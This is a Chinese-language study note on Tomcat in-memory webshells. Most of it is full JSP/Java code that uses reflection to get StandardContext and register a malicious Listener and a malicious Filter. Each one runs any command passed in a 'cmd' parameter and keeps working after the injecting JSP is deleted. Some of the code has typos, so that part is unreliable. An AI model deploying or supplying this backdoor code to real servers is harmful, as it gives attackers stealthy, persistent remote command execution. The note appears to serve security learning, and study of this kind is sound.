Tomcat内存马学习

内存马简述

Tomcat内存马是指存在于Tomcat容器中的 Listener, Filter, Servlet等攻击者注册的恶意服务, 通常情况是需要攻击者上传一个 jsp文件执行其中的代码达到动态注册上述恶意服务的行为。不过目前也有师傅研究过很多关于Tomcat中如何实现通用回显的问题, 无需通过落地的 jsp文件执行代码, 在一些RCE漏洞中能够实现真正的无落地内存Webshell, 这一部分会放在最后的参考内容中。

StandardContext

StandardContext 涉及的内容很多, 推荐大家阅读一些关于Tomcat的文章以了解该对象作用。

这里就简述一下在JSP中如何获取 StandardContext对象, 因为JSP内置了 requestresponse对象, 所以通过反射就能够获取到了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%
// 低版本可能出错
ServletContext servletContext = request.getServletContext();
// 反射获取ServletContext对象的context属性
Field servletContextField = servletContext.getClass().getDeclaredField("context");
servletContextField.setAccessible(true);
// 反射获取ApplicationContext对象
Object applicationServlet = servletContextField.get(servletContext);
// 反射获取ApplicationContext的context属性
Field applicationContextField = applicationServlet.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
// 反射获取StandardContext对象
StandardContext standardContext = (StandardContext) applicationContextField.get(applicationServlet);
EvilListener evil = new EvilListener(request, response);
// 添加监听器
standardContext.addApplicationEventListener(evil);
// 打印信息
response.getWriter().write("Inject Listener Success");
%>

恶意的Listener对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class EvilListener implements ServletRequestListener {
private ServletRequest request;
private ServletRepsonse response;

EvilListener(ServletRequest request, ServletResponse response) {
this.request = request;
this.response = response;
}

@Override
public void requestDestoryed(ServletRequestEvent servletRequestEvent) {

}

@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
java.io.InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(is).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
}
}
}
}

运行该JSP文件后则会动态注册一个 Listener, 传递 cmd 参数即可执行命令。

image-20210629115059275

访问首页传递 cmd=whoami参数。

image-20210629115129182

Filter

Tomcat的运行流程是 Listener -> Filter -> Servlet, 如果我们能够注册一个Filter且保证它在FilterChain中是第一个的话则同样能够实现内存Webshell。

ApplicationFilterFactory#createFilterChain中通过for循环 StandardContext对象的 filterMaps属性, 在满足条件的情况下从 StandardContextfilterConfigs属性取出对应 filterNameApplicationFilterConfig对象并添加到 filterChain中。

image-20210629144705796

image-20210629144554427
image-20210629144618126

因此如果需要实现动态添加一个 Filter的话, 则需要在 StandardContextfilterConfigs中添加需要注册的 Filter, 除此之外还需要在 filterMaps中也要添加 FilterMap对象, 其的用处在于设置 Filter的 URL匹配模式和 filterName, 这个 filterName对应存放在 StandardContext#filterConfigs中的key。


首先实现一个恶意 Filter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<%!
public class EvilFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
java.io.InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(is).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
} catch (Exception e) {
e.printStackTrace();
}
}
filterChain.doFilter(request, response);
}

@Override
public void destroy() {

}
}
%>>

然后添加到 StandardContext对象的 filterConfigs中。(EvilListener对象存放在FilterDeffilter属性, 而FilterDef又存放在ApplicationFilterConfigfilterDef属性, 最后ApplicationFilterConfig对象 put到了StandardContext对象的filterConfigs属性中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!-- 导入类 -->
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.util.Scanner" %>


<%
// 第一步, 获取StandardContext对象
ServletContext servletContext = request.getServletContext();
Field servletContextFIeld = servletContext.getClass().getDeclaredField("context");
servletContextFIeld.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) servletContextFIeld.get(servletContext);
Field applicationContextField = applicationContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextField.get(applicationContext);

// 第二步, 添加恶意Filter
FilterDef filterDef = new FilterDef();
// 设置Filter名字
filterDef.setFilterName("EvilFilter");
standardContext.addFilterDef(filterDef);
EvilFilter evil = new EvilFilter();
// 设置Filter为恶意的Filter
filterDef.setFilter(evil);

// 第三步, 添加到filterConfigs中
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
Constructor constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
filterConfigs.put("EvilFilter", constructor.newInstance(standardContext, filterDef));

// 第四步, 添加URL匹配模式和FilterName
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("EvilFilter");
standardContext.addFilterMapBefore(filterMap);
response.getWriter().write("Inject Filter Success!");
%>

启动Tomcat访问JSP文件, 当页面出现 Inject Filter Success字符串表示Filter已经注入成功。

image-20210629165058468

此时在任意路径下只要携带 cmd参数即可执行命令, 即使删除原来注入Filter的JSP也不影响。

image-20210629170755716

Servlet

Google看了些文章说是只支持在初始化时动态注册Servlet, 而非运行时能够进行动态注册。

这部分有待深入源码分析, 留个坑。

参考

Tomcat内存马(一) 初探 - li9hu’s Blog

Tomcat中一种半通用回显方法